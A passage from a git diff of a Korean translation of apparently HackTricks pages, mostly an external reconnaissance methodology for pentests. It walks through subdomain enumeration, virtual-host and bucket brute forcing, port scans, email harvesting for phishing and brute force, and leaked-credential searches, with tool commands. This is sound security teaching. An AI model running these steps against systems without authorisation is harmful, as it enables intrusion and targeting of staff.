**도구** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ## 참고문헌 diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index 60c7acffb..70c6ab745 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,11 +1,15 @@ {{#include ../banners/hacktricks-training.md}} -RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호를 사용하여 해당 RC4로 암호화된 모든 콘텐츠를 암호화 함수만으로 복호화할 수 있습니다. +RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호를 사용하여 암호화 함수만으로 해당 RC4로 암호화된 모든 콘텐츠를 복호화할 수 있습니다. 알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. 더 많은 참고 자료는 HTB Kryptos 머신에서 찾을 수 있습니다: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 5d26e1e20..a626bae06 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -2,10 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} - ## 자산 발견 -> 어떤 회사에 속하는 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다. +> 어떤 회사에 속한 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다. 이 단계의 목표는 **모회사가 소유한 모든 회사**와 이 회사들의 **자산**을 얻는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다: @@ -22,7 +21,7 @@ > 좋습니다. 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다. -### **ASN** +### **ASNs** 자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 관리 기관(IANA)**에 의해 **자율 시스템**(AS)에 할당된 **고유 번호**입니다.\ **AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소**의 **블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다. @@ -58,16 +57,16 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4 ### **취약점 찾기** 이 시점에서 우리는 **범위 내 모든 자산**을 알고 있으므로, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\ -또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan **과 같은 서비스를 사용하여** 열린 포트를 찾고, 발견한 내용에 따라 이 책을 참고하여 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.\ +또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열려 있는 포트를 찾고, 발견한 내용에 따라** 이 책을 참고하여 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.\ **또한, 기본 사용자 이름**과 **비밀번호 목록을 준비하고** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)로 서비스를 **브루트포스 시도하는 것도 가치가 있을 수 있습니다.** ## 도메인 > 우리는 범위 내 모든 회사와 그 자산을 알고 있으며, 이제 범위 내 도메인을 찾을 시간입니다. -_다음에 제안된 기술에서는 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._ +_다음에 제안된 기술을 사용하면 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._ -우선 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다. +먼저 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다. ### **역 DNS** @@ -83,7 +82,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **역 Whois (루프)** -**whois** 안에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 있습니다... 하지만 더 흥미로운 것은 **이 필드 중 하나로 역 whois 조회를 수행하면 회사와 관련된 **더 많은 자산**을 찾을 수 있다는 것입니다** (예: 동일한 이메일이 나타나는 다른 whois 등록소).\ +**whois** 안에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 있습니다... 하지만 더 흥미로운 것은 **이 필드 중 하나로 역 whois 조회를 수행하면 회사와 관련된 더 많은 자산을 찾을 수 있다는 것입니다** (예: 동일한 이메일이 나타나는 다른 whois 등록소).\ 다음과 같은 온라인 도구를 사용할 수 있습니다: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **무료** @@ -151,7 +150,7 @@ return fhash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -서버에서 모든 도메인 인증서를 갱신합니다. 이는 CA가 유효성 기간에 생성 시간을 설정하지 않더라도 **인증서 투명성 로그에서 동일한 회사에 속하는 도메인을 찾는 것이 가능하다는 것을 의미합니다**.\ +서버에서 모든 도메인 인증서를 갱신합니다. 이는 CA가 유효성 기간에 생성 시간을 설정하지 않더라도 **인증서 투명성 로그에서 동일한 회사에 속하는 도메인을 찾을 수 있다는 것을 의미합니다**.\ 자세한 내용은 [**이 글**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)을 확인하세요. ### Mail DMARC 정보 @@ -160,7 +159,7 @@ return fhash ### **수동 인수** -사람들이 클라우드 제공업체에 속하는 IP에 서브도메인을 할당하고 어느 시점에 **그 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 일반적입니다**. 따라서 클라우드(예: Digital Ocean)에서 **VM을 생성하는 것만으로도** 실제로 **일부 서브도메인을 인수하게 됩니다**. +사람들이 클라우드 제공업체에 속하는 IP에 서브도메인을 할당하고 어느 시점에서 **그 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 일반적입니다**. 따라서 클라우드(예: Digital Ocean)에서 **VM을 생성하는 것만으로도** 실제로 **일부 서브도메인을 인수하게 됩니다**. [**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고 **DigitalOcean에서 VM을 생성하고**, **새 머신의 IPv4를 가져오고**, **Virustotal에서 해당 서브도메인 레코드를 검색하는** 스크립트를 제안합니다. @@ -170,7 +169,7 @@ return fhash **Shodan** -IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, 해당 데이터를 사용하여 shodan에서 검색할 수 있습니다: `org:"Tesla, Inc."` TLS 인증서에서 새로운 예상치 못한 도메인을 찾기 위해 발견된 호스트를 확인하세요. +IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, Shodan에서 해당 데이터를 사용하여 검색할 수 있습니다: `org:"Tesla, Inc."` TLS 인증서에서 새로운 예기치 않은 도메인을 찾기 위해 발견된 호스트를 확인하세요. 주 웹 페이지의 **TLS 인증서**에 접근하여 **조직 이름**을 얻고, 그런 다음 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서** 내에서 해당 이름을 검색할 수 있습니다. 필터: `ssl:"Tesla Motors"`를 사용하거나 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다. @@ -185,8 +184,6 @@ IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, 해당 발견된 자산 탐색에서 이미 찾은 IP와 다른 **IP를 가진 도메인**을 발견하면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 "공격"하는 몇 가지 요령을 찾을 수 있습니다**.\ &#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ - - ## 서브도메인 > 우리는 범위 내 모든 회사, 각 회사의 모든 자산 및 회사와 관련된 모든 도메인을 알고 있습니다. @@ -194,11 +191,11 @@ IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, 해당 이제 발견된 각 도메인의 가능한 모든 서브도메인을 찾아야 합니다. > [!TIP] -> 도메인을 찾기 위한 일부 도구와 기술이 서브도메인을 찾는 데에도 도움이 될 수 있다는 점에 유의하세요. +> 도메인을 찾기 위한 일부 도구와 기술이 서브도메인을 찾는 데도 도움이 될 수 있다는 점에 유의하세요. ### **DNS** -**DNS** 레코드에서 **서브도메인**을 가져오도록 시도해 보겠습니다. **존 전송**(취약한 경우 보고해야 함)도 시도해야 합니다. +**DNS** 레코드에서 **서브도메인**을 가져오도록 시도해 보겠습니다. 또한 **존 전송**을 시도해야 합니다(취약한 경우 보고해야 합니다). ```bash dnsrecon -a -d tesla.com ``` @@ -253,7 +250,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -다른 흥미로운 도구/API가 있으며, 이들은 서브도메인을 찾는 데 직접적으로 특화되어 있지 않더라도 서브도메인을 찾는 데 유용할 수 있습니다. 예를 들어: +다른 **흥미로운 도구/API**가 있으며, 이들은 서브도메인을 찾는 데 직접적으로 특화되어 있지 않더라도 서브도메인을 찾는 데 유용할 수 있습니다. 예를 들어: - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)를 사용하여 서브도메인을 얻습니다. ```bash @@ -315,7 +312,7 @@ python3 censys-subdomain-finder.py tesla.com ```bash python3 DomainTrail.py -d example.com ``` -- [**securitytrails.com**](https://securitytrails.com/)은 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다. +- [**securitytrails.com**](https://securitytrails.com/)는 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다. - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) 이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인**을 무료로 제공합니다. 이 데이터는 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하여 접근할 수 있으며, 이 프로젝트에서 사용된 범위에 접근할 수도 있습니다 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list). @@ -336,7 +333,7 @@ python3 DomainTrail.py -d example.com 또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)를 사용할 수 있습니다. -DNS 브루트 포스에 가장 추천되는 도구는 다음과 같습니다: +DNS 브루트 포스에 가장 추천되는 도구는: - [**massdns**](https://github.com/blechschmidt/massdns): 이는 효과적인 DNS 브루트 포스를 수행한 첫 번째 도구입니다. 매우 빠르지만 잘못된 긍정 반응이 발생할 수 있습니다. ```bash @@ -369,7 +366,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com cat subdomains.txt | dnsgen - ``` - [**goaltdns**](https://github.com/subfinder/goaltdns): 도메인과 서브도메인을 기반으로 순열을 생성합니다. -- [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 goaltdns 순열 **단어 목록**을 얻을 수 있습니다. +- **여기**에서 goaltdns 순열 **단어 목록**을 얻을 수 있습니다: [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` @@ -398,21 +395,25 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 맞춤형 단어 목록이나 역사적인 DNS/TLS 기록과 같은 제공된 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중에 수집된 정보를 기반으로 이를 반복적으로 확장합니다. +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 맞춤형 단어 목록이나 역사적인 DNS/TLS 기록과 같은 제공된 입력 데이터를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중에 수집된 정보를 기반으로 이를 반복적으로 확장합니다. ``` echo www | subzuf facebook.com ``` ### **서브도메인 발견 워크플로우** -내가 쓴 블로그 게시물을 확인해 보세요. 여기서는 **Trickest 워크플로우**를 사용하여 도메인에서 **서브도메인 발견을 자동화하는 방법**에 대해 설명합니다. 이렇게 하면 컴퓨터에서 여러 도구를 수동으로 실행할 필요가 없습니다: +도메인에서 **서브도메인 발견을 자동화하는 방법**에 대해 제가 쓴 블로그 게시물을 확인해 보세요. **Trickest 워크플로우**를 사용하여 제 컴퓨터에서 여러 도구를 수동으로 실행할 필요가 없습니다: -{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-discovery-using-workflow/ +{{#endref}} -{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ +{{#endref}} ### **VHosts / 가상 호스트** -서브도메인에 속하는 **하나 이상의 웹 페이지**를 포함하는 IP 주소를 찾았다면, **OSINT 소스**에서 IP의 도메인을 찾거나 **해당 IP에서 VHost 도메인 이름을 브루트 포스하여** 다른 서브도메인을 찾을 수 있습니다. +서브도메인에 속하는 **하나 이상의 웹 페이지**를 포함하는 IP 주소를 찾았다면, **OSINT 소스**에서 IP의 도메인을 찾거나 **해당 IP에서 VHost 도메인 이름을 브루트 포스**하여 **다른 서브도메인**을 찾을 수 있습니다. #### OSINT @@ -420,7 +421,7 @@ echo www | subzuf facebook.com **브루트 포스** -어떤 서브도메인이 웹 서버에 숨겨져 있을 수 있다고 의심되면, 브루트 포스를 시도해 볼 수 있습니다: +어떤 서브도메인이 웹 서버에 숨겨져 있다고 의심되면 브루트 포스를 시도할 수 있습니다: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -443,10 +444,10 @@ VHostScan -t example.com ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` -### **버킷 브루트 포스** +### **버킷 무차별 대입** **서브도메인**을 찾는 동안 **버킷**으로 **포인팅**되는지 주의 깊게 살펴보세요. 그런 경우 [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 브루트 포스하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/). +또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 무차별 대입하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/). ### **모니터링** @@ -458,14 +459,14 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: **서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/). 자산 탐색에서 이미 발견한 것과 다른 **IP를 가진 서브도메인**을 발견하면, **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 "공격"할 수 있는 몇 가지 요령을 찾을 수 있습니다**.\ -&#xNAN;_Note는 때때로 서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되므로 범위에 포함되지 않을 수 있으니 주의하세요._ +&#xNAN;_Note는 때때로 서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅될 수 있으므로, 범위에 포함되지 않을 수 있습니다. 주의하세요._ ## IPs 초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인**을 **발견했을 수 있습니다**.\ -이제 **해당 범위의 모든 IP를 수집할** 시간입니다. **도메인/서브도메인(DNS 쿼리)**에 대한 IP도 포함됩니다. +이제는 **그 범위에서 모든 IP를 수집할** 시간입니다. **도메인/서브도메인(DNS 쿼리)**에 대한 IP도 포함됩니다. -다음 **무료 API** 서비스를 사용하여 **도메인 및 서브도메인에서 사용된 이전 IP**를 찾을 수 있습니다. 이 IP는 여전히 클라이언트가 소유하고 있을 수 있으며, [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾는 데 도움이 될 수 있습니다. +다음 **무료 API** 서비스를 사용하여 **도메인과 서브도메인에서 사용된 이전 IP**를 찾을 수 있습니다. 이 IP는 여전히 클라이언트가 소유하고 있을 수 있으며, [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾는 데 도움이 될 수 있습니다. - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -473,15 +474,15 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ### **취약점 찾기** -**CDN에 속하지 않는 모든 IP에 대해 포트 스캔을 수행하세요**(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을지도 모릅니다**. +**CDN에 속하지 않는 모든 IP에 대해 포트 스캔을 수행하세요**(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을** 것입니다. **호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/). -## 웹 서버 헌팅 +## 웹 서버 탐색 -> 우리는 모든 회사와 그 자산을 찾았고 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다. +> 우리는 모든 회사와 그 자산을 찾았고, 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다. -이전 단계에서 **발견된 IP 및 도메인에 대한 일부 재콘을 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 **웹 서버를 검색하는 몇 가지 빠른 요령**을 살펴보겠습니다. +이전 단계에서 **발견된 IP와 도메인에 대한 일부 재조사를 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 **웹 서버를 검색하는 몇 가지 빠른 요령**을 살펴보겠습니다. 이것은 **웹 앱 발견**을 위한 **지향적**이므로, **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**). @@ -495,7 +496,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a 이제 **범위 내의 모든 웹 서버**를 발견했으므로 (**회사의 **IP**와 모든 **도메인** 및 **서브도메인** 중에서) 아마도 **어디서 시작해야 할지 모를 것입니다**. 그러니 간단하게 시작하여 모든 웹 서버의 스크린샷을 찍어보세요. **메인 페이지**를 **살펴보는 것만으로도** **이상한** 엔드포인트를 발견할 수 있으며, 이는 **취약점**이 있을 가능성이 더 높습니다. -제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**을 사용할 수 있습니다.** +제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**를 사용할 수 있습니다.** 또한, [**eyeballer**](https://github.com/BishopFox/eyeballer)를 사용하여 모든 **스크린샷**을 분석하여 **취약점이 있을 가능성이 있는 것**과 **없는 것**을 알려줄 수 있습니다. @@ -509,19 +510,19 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -그런 다음, 이러한 단어로 **순열**을 생성해야 합니다(자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 확인하세요). +그런 다음, 이러한 단어로 **순열**을 생성해야 합니다 (자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 확인하세요). -결과로 나온 단어 목록을 사용하여 [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **또는** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.** +결과로 얻은 단어 목록을 사용하여 [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **또는** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.** 클라우드 자산을 찾을 때는 **AWS의 버킷 이상으로 찾아야 한다는 점을 기억하세요**. ### **취약점 찾기** -**열린 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접속하여** 무엇을 제공하는지 확인하고 이를 악용할 수 있는지 시도해야 합니다. +**열린 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접속하여** 그들이 제공하는 것이 무엇인지, 그리고 이를 악용할 수 있는지 확인해야 합니다. ## 이메일 -범위 내의 **도메인**과 **서브도메인**을 통해 **이메일 검색을 시작하는 데 필요한 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다: +범위 내의 **도메인**과 **서브도메인**을 통해 **이메일 검색을 시작할 수 있는 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다: - [**theHarvester**](https://github.com/laramies/theHarvester) - API 사용 - [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전) @@ -530,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **취약점 찾기** -이메일은 나중에 **웹 로그인 및 인증 서비스**(예: SSH)에 대한 **브루트포스**에 유용하게 사용됩니다. 또한, **피싱**에도 필요합니다. 게다가, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하므로 피싱 캠페인에 유용합니다. +이메일은 나중에 **웹 로그인 및 인증 서비스**(예: SSH)에 대한 **브루트포스 공격**에 유용합니다. 또한, **피싱**에도 필요합니다. 게다가, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하므로 피싱 캠페인에 유용합니다. ## 자격 증명 유출 @@ -552,7 +553,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a 자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\ **Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다. -**Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함될 수 있습니다**. +**Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함되어 있습니다**. #### 깃허브 도크 @@ -564,14 +565,14 @@ github-leaked-secrets.md ### Paste 유출 -때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**할 수 있습니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색하는 것이 매우 흥미롭습니다.\ +때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**합니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색하는 것이 매우 흥미롭습니다.\ [**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 paste 사이트에서 검색할 수 있습니다. ### 구글 도크 오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**. -_정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 Google에 의해 차단되므로 결코 끝나지 않을 것입니다._ +_정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 차단되므로 결코 끝나지 않을 것입니다._ ### **취약점 찾기** @@ -579,7 +580,7 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 ## 공개 코드 취약점 -회사가 **오픈 소스 코드**를 가지고 있다면 이를 **분석**하고 **취약점**을 검색할 수 있습니다. +회사가 **오픈 소스 코드**를 가지고 있다면, 이를 **분석**하고 **취약점**을 검색할 수 있습니다. **언어에 따라** 사용할 수 있는 다양한 **도구**가 있습니다: @@ -595,23 +596,23 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 **버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/). -또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾는 데 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 구현하는 데 유용합니다.** +또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾을 것으로 기대해서는 안 되지만, **초기 웹 정보를 얻기 위한 워크플로우에 구현하는 데 유용합니다.** ## 요약 -> 축하합니다! 이 시점에서 이미 **모든 기본 열거**를 수행했습니다. 네, 기본적입니다. 더 많은 열거가 가능하므로(나중에 더 많은 트릭을 볼 것입니다). +> 축하합니다! 이 시점에서 이미 **모든 기본 열거 작업**을 수행했습니다. 네, 기본적입니다. 더 많은 열거 작업이 가능하므로 (나중에 더 많은 트릭을 볼 것입니다). 따라서 이미 다음을 수행했습니다: 1. 범위 내의 모든 **회사**를 찾았습니다. -2. 회사에 속하는 모든 **자산**을 찾았습니다(범위 내에서 취약점 스캔 수행). +2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 취약점 스캔 수행). 3. 회사에 속하는 모든 **도메인**을 찾았습니다. -4. 도메인의 모든 **서브도메인**을 찾았습니다(서브도메인 탈취 가능성은?). -5. 범위 내의 모든 **IP**를 찾았습니다(**CDN**에서와 **CDN**이 아닌 것). -6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다(더 깊이 살펴볼 가치가 있는 이상한 점은?). +4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은?). +5. 범위 내의 모든 **IP**를 찾았습니다 (CDN에서 온 것과 아닌 것). +6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점은?). 7. 회사에 속하는 모든 **잠재적 공개 클라우드 자산**을 찾았습니다. 8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 